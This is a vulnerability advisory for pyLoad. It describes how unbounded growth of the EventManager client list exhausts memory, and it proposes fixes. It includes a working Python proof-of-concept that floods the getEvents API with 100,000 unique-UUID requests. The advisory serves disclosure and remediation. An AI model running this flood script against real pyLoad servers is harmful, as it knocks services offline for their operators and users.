pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

## Description: The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable

Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

> Here the client is added to the clients list but never cleared the inactive clients.

## Exploitation: 1. Start pyLoad server (Ensure the pyload server is running) 2. Authenticate: Obtain a session cookie or an API key (Here i used the API key). 3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid. ``python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``

5. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands). ``bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``

1. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.

https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

## Impact: - Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

## Mitigations: - **Invoke clean()**: Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones. - Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.